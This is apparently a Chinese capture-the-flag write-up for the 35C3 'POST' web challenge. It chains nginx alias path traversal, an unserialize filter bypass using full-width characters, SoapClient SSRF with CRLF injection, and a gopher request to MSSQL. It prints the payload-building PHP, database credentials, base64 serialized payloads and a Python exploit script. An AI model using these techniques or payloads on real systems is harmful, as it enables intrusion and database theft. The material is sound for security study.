35c3-POST 学习 docker环境:https://github.com/eboda/35c3/tree/master/post
本题3个hint
1 2 3 4 5 6 Hint: flag is in db Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.
nginx配置 先扫一发目录 扫出两个目录。一个inc目录,一个uploads目录 于是都测试一发nginx配置问题 在uploads发现目录穿越 下载default.backup 为nginx配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 server { listen 80; access_log /var/log/nginx/example.log; server_name localhost; root /var/www/html; location /uploads { autoindex on; alias /var/www/uploads/; } location / { alias /var/www/html/; index index.php; location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; } } location /inc/ { deny all; } } server { listen 127.0.0.1:8080; access_log /var/log/nginx/proxy.log; if ( $request_method !~ ^(GET)$ ) { return 405; } root /var/www/miniProxy; location / { index index.php; location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; } } }
出现目录穿越的代码
1 2 3 4 location /uploads { autoindex on; alias /var/www/uploads/; }
正确的应该是location /uploads/
任意类的反序列化 在
1 2 文件:inc\db.php:33 方法:retrieve_values
此处存在一个反序列化操作 在query方法中调用了该retrieve_values
函数 但是需要满足一个正则
1 2 3 return preg_match('/^\$serializedobject\$/i', $x) ? unserialize(substr($x, 18)) : $x; }, $row);
需要以$serializedobject$
开头 但是在inset数据库插入中,进行了判断
1 2 if (preg_match('/^\$serializedobject\$/i', $x)) { die("invalid data");
如果匹配到$serializedobject$
开头,则视为invalid data
这里需要用到mssql里的一个特性
1 2 3 MSSQL converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $. MSSQL会自动将全角unicode字符转换为ASCII表示形式
即unicode \uFF04
这样就可以实现插入时成功插入$serializedobject$
,查询时反序列化以$serializedobject$
开头的
利用SoapClient类 在
1 2 文件:inc\post.php:16 方法:__toString
代码
1 2 3 4 5 6 7 8 9 10 11 class Attachment { private $za = NULL; ...//省略 public function __toString() { $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime "; if (!is_null($this->za)) { $this->za->open("../".$this->url); $str .= "with ".$this->za->numFiles . " Files."; } return $str. ")"; }
za可控,此时如果za是Soapclient类,调用open函数时,不存在,就会触发SoapClient我们所构造的SSRF
如何触发 在
此处title
,content
可控 在POST类中 post方法里 先将带有$serializedobject$
的insert进数据库,接着看到
调用了loadall
进行了query查询,此时就会进行反序列化 再看default.php
,查询完后有 echo,触发Post
类的__toString
, 而content是带有SoapClient类的,也就可以触发SoapClient类的SSRF
构造payload 1 2 3 4 5 6 7 8 9 10 11 <?php class Attachment { private $za = NULL; public function __construct() { $this->za = new SoapClient(null,array('location'=>'http://52.36.15.23:12345','uri'=>'hu3sky')); } } $a = new Attachment(); $preg = '$serializedobject$'; echo $preg.serialize($a);
miniProxy gopher bypass 在
检测是否是http协议或者https协议 如果是http协议,没有die,跟在后面,会判断http协议是否合法,不合法则进行重定向 当schema
为空,并且url不是以//
开头的情况: 于是可以利用gopher协议绕过,比如传入miniProxy.php?gopher:///db:1433//...
则会使用gopher重定向到1433 mssql上 miniProxy的配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 server { listen 127.0.0.1:8080; access_log /var/log/nginx/proxy.log; if ( $request_method !~ ^(GET)$ ) { return 405; } root /var/www/miniProxy; location / { index index.php; location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; } } }
只能接收GET请求,但是SoapClient发起的请求是POST的,于是需要用到SoapClient的user_agent
CRLF。
gopher attack mssql 在db.php发现用户名密码
1 DB::$con = sqlsrv_connect("db", array("pwd"=> "Foobar1!", "uid"=>"challenger", "Database"=>"challenge"));
查看自己uid
利用官方exp生成gopher
1 2 3 λ php -f exploit.php "insert into posts (userid,title,content,attachment) values (1,"test",(select flag form `flag`),"b");-- -" JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzAzOiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMCVFNiUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDAlMjglMDB1JTAwcyUwMGUlMDByJTAwaSUwMGQlMDAlMkMlMDB0JTAwaSUwMHQlMDBsJTAwZSUwMCUyQyUwMGMlMDBvJTAwbiUwMHQlMDBlJTAwbiUwMHQlMDAlMkMlMDBhJTAwdCUwMHQlMDBhJTAwYyUwMGglMDBtJTAwZSUwMG4lMDB0JTAwJTI5JTAwJTIwJTAwdiUwMGElMDBsJTAwdSUwMGUlMDBzJTAwJTIwJTAwJTI4JTAwMSUwMCUyQyUwMHQlMDBlJTAwcyUwMHQlMDAlMkMlMDAlMjglMDBzJTAwZSUwMGwlMDBlJTAwYyUwMHQlMDAlMjAlMDBmJTAwbCUwMGElMDBnJTAwJTIwJTAwZiUwMG8lMDByJTAwbSUwMCUyMCUwMCU2MCUwMGYlMDBsJTAwYSUwMGclMDAlNjAlMDAlMjklMDAlMkMlMDBiJTAwJTI5JTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwIEhUVFAvMS4xCkhvc3Q6IGxvY2FsaG9zdAoKIjt9fQ==
末尾加入– -是为了注释掉 \x0a\x0a gopher 自动添加的内容,不然 query 无法成功执行
然后写个脚本发送请求
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # -*- coding: utf-8 -*- # @Time : 2019-2-14 10:33 # @Author : Hu3sky # @FileName: exp.py # @Software: Submie import requests import base64 url = "http://50.3.232.201:8000/" r = requests.session() url_login = "http://50.3.232.201:8000/?page=login" #登陆 user = { "username":"hu3sky", "password":"hu3sky" } r.post(url=url_login,data=user) url_post = "http://50.3.232.201:8000/?action=create" payload = base64.b64decode("JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzYxOiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMSUwMCUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyMCUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUyQyUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTAwbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAxJTAwJTJDJTAwJTIyJTAwdCUwMGUlMDBzJTAwdCUwMCUyMiUwMCUyQyUwMCUyOCUwMHMlMDBlJTAwbCUwMGUlMDBjJTAwdCUwMCUyMCUwMGYlMDBsJTAwYSUwMGclMDAlMjAlMDBmJTAwbyUwMHIlMDBtJTAwJTIwJTAwZiUwMGwlMDBhJTAwZyUwMC4lMDBmJTAwbCUwMGElMDBnJTAwJTI5JTAwJTJDJTAwJTIyJTAwYiUwMCUyMiUwMCUyOSUwMCUzQiUwMC0lMDAtJTAwJTIwJTAwLSUwMCUzQiUwMC0lMDAtJTAwJTIwJTAwLSUwMCBIVFRQLzEuMQpIb3N0OiBsb2NhbGhvc3QKCiI7fX0=") # print(payload) post = { "title":"test", "content":payload } s = r.post(url=url_post,data=post) print(s.text)